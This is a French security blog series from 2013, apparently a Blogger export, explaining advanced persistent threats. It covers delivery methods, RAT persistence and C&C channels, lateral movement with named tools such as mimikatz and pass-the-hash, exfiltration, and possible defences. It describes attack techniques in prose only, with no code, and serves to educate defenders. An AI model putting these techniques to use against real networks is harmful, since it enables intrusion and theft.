En rouge, les actions de l'attaquant, en bleu le factuel ou la victime, et en vert les défenses possibles. Si une flèche repart du vert, c'est que la défense est contournable. Je n'ai pas voulu faire de la publicité pour un produit ou pour un autre, donc aucune entreprise n'est citée nommément.<br />
<br />
Pour les notes:<br />
[1] Le désarmement peut être un changement de format. Toutes les pièces jointes d'email pdf sont imprimées en jpg, puis assemblées en pdf et remis dans le mail initial. Ou il peut s'agir d'un nettoyage, i.e. aucun applet java autorisé dans les pages web et nettoyage au niveau réseau.<br />
[2] Et un exploit kernel veut dire une exploitation mémoire (ou pas), à la manière de l'exploit au dessus.<br />
[3] Des VM à usage unique. La VM est lancée, lit un mail, une PJ ou browse une page web, puis est détruite.<br />
[4] Les IOC de Mandiant par exemple<br />
[5] Les analyses réseaux internes n'existent pas, les analyses réseaux en sortie ne sont que rarement faite.<br />
[6] L'attaquant sait qu'il sera détecté tôt ou tard et ne veut pas que l'on puisse facilement remonter à lui ou connaître ses objectifs.<br />
<br />
Ce schéma met en exergue quatres choses. La première, c'est qu'il n'existe pas grand chose côté USB. Pourquoi il n'existe pas encore de vrai firewall pour l'USB? Actuellement, on a du tout ou rien. Ce sont des ports USB bloqués au BIOS, ou un filtrage des VendorId/deviceId uniquement. Contre le BYOD, rien. Un filtrage/conformance des trames USB à la manière des firewalls serait un gros plus. (permettant le DLP, le chiffrement à la volée, la configuration centralisée, etc..) [Voir Note 1]<br />
<br />
Le second point concerne la cassure au niveau de l'installation du RAT. Il y a vraiment une bascule à ce niveau là. Une fois installé, on peut le détecter et essayer de faire du damage control, mais c'est trop tard. Il est donc à mon avis essentiel de pouvoir remonter le fil de l'attaque pour les diagnostiquer au plus tôt. Ces deux étapes peuvent même être menées par des équipes différentes: des personnes plantent des RAT, d'autres les exploitent.<br />
<br />
Un troisième point concerne l'absence de "Déception" dans les défenses. Dans le monde du réseau, les honeypots ont fourni beaucoup d'information; je n'ai pas connaissance (mais je me trompe peut-être) de systèmes d'honeypot contre les APT. (on peut imaginer des faux 'high profiles' qui seront des cibles d'APT, puis des mails, des machines, des réseaux, des processus, des fichiers, etc..)<br />
<br />
Un dernier point concerne l'envoi du contenu à la victime. Depuis 2004 on entend parler peu ou prou des mêmes méthodes: mail, page web et USB. Existe t'il un autre moyen? [Voir Note 2]<br />
<br />
Bloquer les APT, mission (im)possible? Mission certainement difficile, mais qui demande de gros moyens, un suivi régulier et une intelligence de corrélation d'évènements, on retrouve là les travers de la fameuse "sécurité est un échec"...<br />
<br />
2/ Et demain? <br />
Les APT sont des menaces difficiles à contrer simplement. On peut se concentrer sur les défenses, mais on entend de plus en plus parler de l'option offensive, ou hackback. Les US à ce sujet mettent en place une communication toute entière tournée vers les hackback. Il ne se passe pas une semaine sans qu'on entende parler d'une cible américaine qui vient de se faire piller des informations vitales, que c'est scandaleux, qu'il faut réagir face à ça, qu'il est nécessaire de faire quelque chose. A mettre en relation avec les échos des piratages français qui peinent à émerger sur les sites de news en ligne.<br />
<br />
Le hackback est-il la seule suite logique à la cyberdéfense? Je ne sais pas, mais je trouve la situation intéressante. Lorsque les APT étaient connus et réservés aux états et grandes entreprises et tout allait bien. Maintenant que les APT sont connus et disponibles à tout un chacun (disposant de moyens raisonnables), les APT sont le grand méchant loup de la sécurité informatique et les gentils pays touchés par le fléau veulent réagir durement, cf les USA qui veulent que les APT soit considérés comme des actes de guerre, permettant des réponses physiques. [Voir Note 3]<br />
<br />
Je disais dans un de mes <a href="http://exploitability.blogspot.fr/2012/10/qui-sauvera-mon-tripoux-dans-le.html">anciens post de blog</a>:<br />
-Dans quelle mesure les cyberattaques vont-elles modifier les pouvoirs de la police étatique vis à vis de l'Internet et par là même rogner sur les libertés d'Internet?<br />
-La "police du net" restera t'elle longtemps l'apanage des sociétés privées alors que l'État est de plus en plus impliqué dans la protection de son cyberterritoire et de ses intérêts<br />
-Est-ce la fin d'un Internet anonyme et sans frontières? <br />
je crois que ces questions restent d'actualité<br />
<br />
-----<br />
<span style="font-size: x-small;">[Note 1] Je n'étais pas présent au SSTIC 2013, mais il me semble qu'une des conférences a fait mention de filtres USB (?!). Je lirais les actes avec interêt :)</span><br />
<span style="font-size: x-small;">[Note 2] Les confs de sécurité parlent de plus en plus du hack matériel: nos
machines sont-elles piégées dès leur conception? Autre chose?</span><br />
<span style="font-size: x-small;">[Note 3] A l'image de l'arme nucléaire? Ceux qui l'ont l'utilisent pour faire de la dissuasion, mais sont les premiers à interdire sa prolifération.. </span>Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com8tag:blogger.com,1999:blog-2330984441575997476.post-14257496333321098282013-06-04T14:14:00.000+02:002013-06-04T14:15:08.881+02:00La persistance de l'APT et l'accès aux données - Partie 3/4<a href="http://exploitability.blogspot.fr/2013/05/du-hack-lapt-partie-14.html">Du hack à l'APT - Partie 1/4</a><br />
Introduction : les menaces aveugles et massives du passé<br />
Ces menaces ont évoluées et sont devenues plus dangereuses<br />
<br />
<a href="http://exploitability.blogspot.fr/2013/05/la-cible-et-les-4-cavaliers-de.html">La cible et les 4 cavaliers de l'AP(T)ocalypse - Partie 2/4</a><br />
Une cible visée<br />
La stratégie d'attaque: Les 4 cavaliers de l'AP(T)ocalypse<br />
<br />
<u>La persistance de l'APT et l'accès aux données - Partie 3/4</u><br />
Par l'une des quatre méthodes indiquées dans le chapitre précédent, nous avons vu qu'un attaquant peut exécuter du code sur une machine victime. L'attaquant dispose donc d'un fusil à un coup. Il va s'en servir pour installer un outil d'administration illégitime sur la machine victime pour lui simplifier les accès suivants. On parle souvent de RAT pour <a href="https://en.wikipedia.org/wiki/Remote_administration_tool">Remote Access Tool</a>.<br />
<br />
<u>1/ Persistance et implantation profonde</u><br />
Le RAT va permettre de piloter à distance une machine victime. Ils peuvent être très basique, du type "Download, execute and report". On en trouve des plus évolués, avec du code modulaire, permettant de chercher des fichiers locaux, lister les processus, écouter ce qui se dit au micro, regarder via la webcam, etc..<br />
Les rapports citent souvent l'usage de <a href="http://www.poisonivy-rat.com/">Poison Ivy</a>, un RAT écrit par un français dont le développement à cessé (il ne fonctionne plus sous windows Seven, mais des patchs non officiels existent). On trouve aussi Dark Comet, X-rat, etc.. La finalité est la même: simplifier l'accès à la machine compromise pour l'attaquant.<br />
<br />
Nous l'avons vu, pour contourner un firewall il est plus simple que la demande de connexion soit sortante. C'est donc le RAT qui va se connecter à un (ou des) serveur de Commande et de Contrôle (C&C). Ces C&C ne sont pas situés chez l'attaquant afin d'éviter que la victime ne puisse faire le lien entre le serveur C&C et l'attaquant une fois découvert. Certains rapports mettent en avant un déplacement de ces serveurs C&C, d'autres montrent au contraire une certaine stabilité de ceux-ci au cours du temps (et qui sont quelquefois réutilisés pour d'autres campagnes APT). Les canaux réseaux utilisés entre la victime et le C&C sont très standard: HTTP, DNS, commentaires dans les pages HTML, etc... et sont de fait difficilement détectables, noyés au milieu de trafic identique et légitime.<br />
<br />
Une fois bien installé, l'attaquant va alors se déplacer horizontalement dans le réseau cible et augmenter ses privilèges. Il peut utiliser des failles locales, mais on retrouve souvent des outils comme <a href="http://blog.gentilkiwi.com/mimikatz">mimikatz</a>, <a href="http://en.wikipedia.org/wiki/Pass_the_hash">pass-the-hash</a>, des <a href="http://en.wikipedia.org/wiki/Pwdump">pwdump.exe</a> installés chez les victimes. D'autres RAT sont installés au fur et à mesure de la progression chez la victime. Certains attaquants s'ajoutent des utilisateurs avec pleins pouvoirs dans les AD, ou modifient des règles de log afin de continuer à rester sous le radar.<br />
<br />
Attaquant FTW!<br />
Nous avons donc du code non détecté par les antivirus + des connexions sortantes non détectées par les firewall + des attaquants ayant le niveau maximal de privilèges sur le réseau de la cible = compromission totale de longue durée. Les rapports sur les APT ne montrent pas de problèmes dans l'élévation de privilèges ou le déplacement dans le réseau interne.<br />
<br />
<br />
<u>2/ Accès au données: espionnage et/ou destruction</u><br />
Les attaquants ont généralement deux objectifs: l'espionnage et/ou la destruction.<br />
<br />
Pour l'espionnage, il suffit de référencer les données puis de les exfiltrer. Les rapports font souvent mention de fichiers rar-és et envoyés en ftp quelque part. On a pu lire des théories sur les '<i>dark google</i>' ou l'attaquant indexe les données chez la victime et ne charge que celle qui l'intéresse au moment ou cela l'intéresse. Il peut aussi s'agir de redirections mises en place sur les boîtes mails de certaines personnes.<br />
<br />
La destruction de données est l'autre versant. Il peut s'agir de données informatiques, ce qui a souvent un effet dévastateur: on dit qu'une entreprise sur trois se remet d'un incendie de son siège social. Lorsqu'un lundi matin tous les postes, serveurs, imprimantes, smartphones etc.. ont été wipés, qui peut s'en remettre? Le deuxième type de destruction est bien plus physique. Puisque tout est géré via informatique, centre de productions, usines, eau, électricité etc... une modification de données aurait également des effets dramatiques. En 2001 des terrorristes faisaient écraser deux avions sur les World trade Center, en 2013 il est beaucoup plus simple de prendre le contrôle de la sécurité aérienne et d'y<br />
provoquer le chaos: les conséquences seraient beaucoup plus graves. La destruction ciblée via un APT est une menace prise de plus en plus au sérieux (systèmes SCADA etc..)<br />
<br />
On le voit, ces APT sont une réalité tangible, il ne se passe pas trois jours sans qu'on entende des journalistes clamer une (cyber)intrusion réussie quelque part.<br />
<br />
<i><br /> To be continued</i> <br />
<br />
Bloquer les APT: mission (im)possible - Partie 4/4<br />
A défaut de "silver bullet", une "kill chain"?<br />
Et demain? Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-71917136001674487352013-05-30T10:18:00.000+02:002013-05-30T10:22:18.094+02:00La cible et les 4 cavaliers de l'AP(T)ocalypse - Partie 2/4<br />
<a href="http://exploitability.blogspot.fr/2013/05/du-hack-lapt-partie-14.html">Du hack à l'APT - Partie 1/4</a><br />
Introduction : les menaces aveugles et massives du passé<br />
Ces menaces ont évoluées et sont devenues plus dangereuses<br />
<br />
La cible et les 4 cavaliers de l'AP(T)ocalypse - Partie 2/4<br />
<u>1/ Une cible visée</u><br />
Puisqu'un APT est une attaque ciblée, intéressons-nous à mieux connaître cette cible. Nous lisons tous les jours ou presque que des états et des grandes entreprises se font piller des secrets via des attaques APT. Je n'ai pas de chiffres précis, mais toute organisation est une cible d'APT dès qu'elle a un avantage concurrentiel ou technologique: espionnage d'entreprise, qu'elle est représentative d'un courant de pensée différent: espionnage d'état, ou qu'elle représente un accès vital à de l'information ou des fournitures de services physiques (eau, électricité, etc..): espionnage et sabotage d'état ou terroriste. L'attaquant définit un but qui peut être une lecture régulière des informations de la cible (<a href="https://www.google.fr/search?q=nortel+apt">Nortel s'est ainsi fait voler pendant 10 ans sa propriété intellectuelle</a>), ou bien une installation en prévision d'une attaque de sabotage (<a href="https://www.google.fr/search?q=aramco+apt+30000">Aramco a vu ainsi 30000 de ses postes windows wipés simultanément</a>), ou encore le vol de documents spécifiques (<a href="http://slashdot.org/topic/bi/chinese-hackers-infiltrated-advanced-u-s-weapons-systems-report/">vol des plans des armes américaines</a>).<br />
L'attaquant accumule le maximum d'informations d'une part sur le réseau physique de l'organisation (machines, IP, versions de softs, etc..) et humains (adresses mail, positions, organigrammes, habitudes de surf etc..). L'aspect technique de recherche d'informations n'a rien de neuf, mais de nombreuses techniques voient le jour quant à la recherche d'informations humaines: navigation automatique sur les réseaux sociaux, créations de faux profils, etc..<br />
<br />
<u>2/ La stratégie d'attaque: Les 4 cavaliers de l'AP(T)ocalypse</u><br />
Les (futures) victimes sont comme on l'a vu protégées par les deux lignes classiques de défense, antivirus et firewall. Le firewall empêche les connexions d'entrer, rarement de sortir, l'antivirus travaille sur une base de signatures de virus connus. L'attaquant va alors demander à la victime de se connecter chez lui en utilisant un code inconnu: le firewall et l'antivirus sont ainsi contournés. Il ne reste qu'à déposer ce code offensif sur le poste de la victime.<br />
Il existe <a href="http://bl0g.cedricpernet.net/post/2013/02/14/APT">4 méthodes</a> majoritairement <a href="http://exploitability.blogspot.fr/2013/02/apt-high-tech-ou-low-tech.html">utilisées</a> pour y parvenir.<br />
-Spear phishing: L'attaquant envoie un mail contenant une pièce jointe piégée. La phase de reconnaissance préalable permet de parfaire l'apparence légitime du mail. Le cas de pièce jointe classique est un fichier pdf ayant un contenu visible crédible. L'utilisateur l'ouvre et le code offensif est exécuté. Le pdf n'est pas le seul risque, tout document étant sujet à une faille, y compris l'outil servant à lire les mails lui-même. On a pu trouver beaucoup de documents office chargés avec des fichiers flash contenant du code offensif.<br />
-Watering hole: Le spear phishing commençant à être bien connu des défenseurs, les attaquants ont choisi de piéger des sites web légitimes avec du code offensif et attendre que la victime s'y connecte. La mode est à l'utilisation de java pour lancer le code offensif. L'avantage de java étant d'utiliser des failles logiques (i.e. très fiables sur une variété de systèmes) au contraire des failles par corruption mémoire qui deviennent de plus en plus difficiles à fiabiliser.<br />
-Physiques: L'universalité des ports USB a poussé les attaquants à vouloir l'utiliser. Ces failles ne font pas forcément l'actualité, bien que de plus en plus de conférences de sécurité en parlent. Peut-être la prochaine campagne d'APT? Tout la pile USB est faillible, depuis l'énumération du bus, au parsing des informations remontées (buffer overflow dans le nom d'une carte son, format string dans la lecture du clavier USB), à l'installation de driver, à la confiance sur les filesystems des clés mass-storage, et sur l'affichage des icônes.<br />
-Compromission directe: Dans le cas ou la cible est vraiment (très) mal protégée, l'attaquant vise depuis internet les ressources exposées du réseau de la victime et rebondit par la suite sur le réseau interne.<br />
On constate à ce sujet que la phase de reconnaissance préalable est essentielle pour ces attaques afin d'assurer leur efficacité.<br />
<br />
Un fantasme court sur ce fameux code offensif envoyé par une des quatres méthodes ci-dessus. S'agit il à chaque fois d'un <a href="http://en.wikipedia.org/wiki/Zero-day_attack">0day</a>, impliquant des compétences très elévées de la part des attaquants devant les créer? La réponse est généralement non pour plusieurs raisons. Tout d'abord, un attaquant sans compétences peut acheter des 0days. Ensuite car les entreprises patchent doucement, donc des exploits pas trop vieux fonctionnent très bien. Un bon reverser peut à partir de patchs publics trouver l'exploit associé plus rapidement qu'une entreprise ne patche. Et enfin car un 0day envoyé à une cible peut (malgré tout) être détecté et réutilisé contre l'attaquant.<br />
<br />
Ce code offensif est généralement d'un usage unique et à pour finalité unique d'installer un outil évolué de pilotage du poste victime. La machine victime est donc sous les ordres de l'attaquant, aucune alarme n'a été levée chez la victime.<br />
<br />
<i>To be continued:</i><br />
<br />
La persistance et l'accès aux données - Partie 3/4<br />
Persistance et implantation profonde<br />
Accès au données: espionnage et/ou destruction<br />
<br />
Bloquer les APT: mission (im)possible - Partie 4/4<br />
A défaut de "silver bullet", une "kill chain"?<br />
Et demain?Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0